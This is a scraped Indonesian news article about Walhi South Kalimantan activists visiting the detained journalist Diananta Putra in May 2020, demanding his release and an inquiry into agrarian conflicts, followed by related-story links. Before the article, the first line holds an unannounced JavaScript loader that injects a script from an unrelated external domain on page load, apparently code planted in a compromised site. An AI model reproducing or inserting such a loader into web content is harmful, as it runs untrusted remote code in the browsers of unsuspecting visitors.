(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Wujud keprihatinan atas penahanan eks pimpinan redaksi Banjarhits.id Diananta Putra S terkait dugaan pelanggaran UU ITE ditunjukkan Wahana Lingkungan Hidup (Walhi) Kalimantan Selatan bersama Aliansi Meratus. Pegiat lingkungan di Kalsel menyambangi Rutan Dit Tahti Polda Kalsel, jalan DI Panjaitan Banjarmasin, Rabu (13/5/2020) sore.
Menurut Direktur Eksekutif Walhi Kalsel Kisworo Dwi Cahyono mengaku ia bersama teman-temannya mengaku prihatin dengan langkah Polda Kalsel yang menahan Diananta. Kunjungan ini merupakan bentuk solidaritas sekaligus keprihatinan atas ditahannya Diananta.
“Kami menyatakan sikap. Pertama bebaskan Dinanata tanpa syarat. Kedua, usut juga konflik agraria yang ada indikasi atau diduga dilakukan oleh perusahaan,” ucap Cak Kis -biasa ia disapa.
Ia menduga, akar permasalahan terletak pada konflik agraria yang terjadi, bukan karena dari konten pemberitaan yang diunggah Diananta di laman Banjarhits.id pada bulan November 2019 lalu. Apalagi dari 3,7 juta hektare lahan di Kalimantan Selatan separuhnya dikuasai oleh izin tambang dan perkebunan kelapa sawit.
“Jadi konflik agrarianya luar biasa. Belum lagi bencana ekologis dan salah satunya saat pandemi ini, dimana wartawan yang menyuarakan keadilan dan kebenaran serta salah satu pilar demokrasi kita malah ditahan,” keluh Cak Kis.
Ia meminta kepada Kapolda Kalsel hingga Presiden RI untuk menjamin Diananta, sehingga ia dapat dibebaskan tanpa syarat. Serta meminta untuk mengusut konflik agraria yang sebenarnya terjadi di lapangan, karena selama ini, lanjut Cak Kiss, justru isu suku, agama, ras dan antar golongan (SARA) yang justru diungkit pada kasus Diananta ini.
“Tapi akar masalahnya, mengapa ini (konflik agraria) tidak diusut dan dilaporkan. Apa hasilnya? Maka kami menagih Polda Kalsel untuk mengusut juga konflik agrarianya,” tegasnya.
Syukurlah, di saat ia menemui Diananta, Cak Kis memastikan ia dalam kondisi yang sehat. Bahkan sempat tersenyum saat disambangi oleh sejumlah pegiat lingkungan.
Cak Kis pun mendapat pesan dari Diananta untuk tetap semangat dan meminta dukungan dari teman-teman termasuk dari kalangan jurnalis. Karena, ini sudah menjadi risiko perjuangan.
“Kita jangan takut dan malu untuk berbuat baik, dan Diananta tadi masih semangat dan meminta dukungan moril,” pungkasnya. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
This website uses cookies.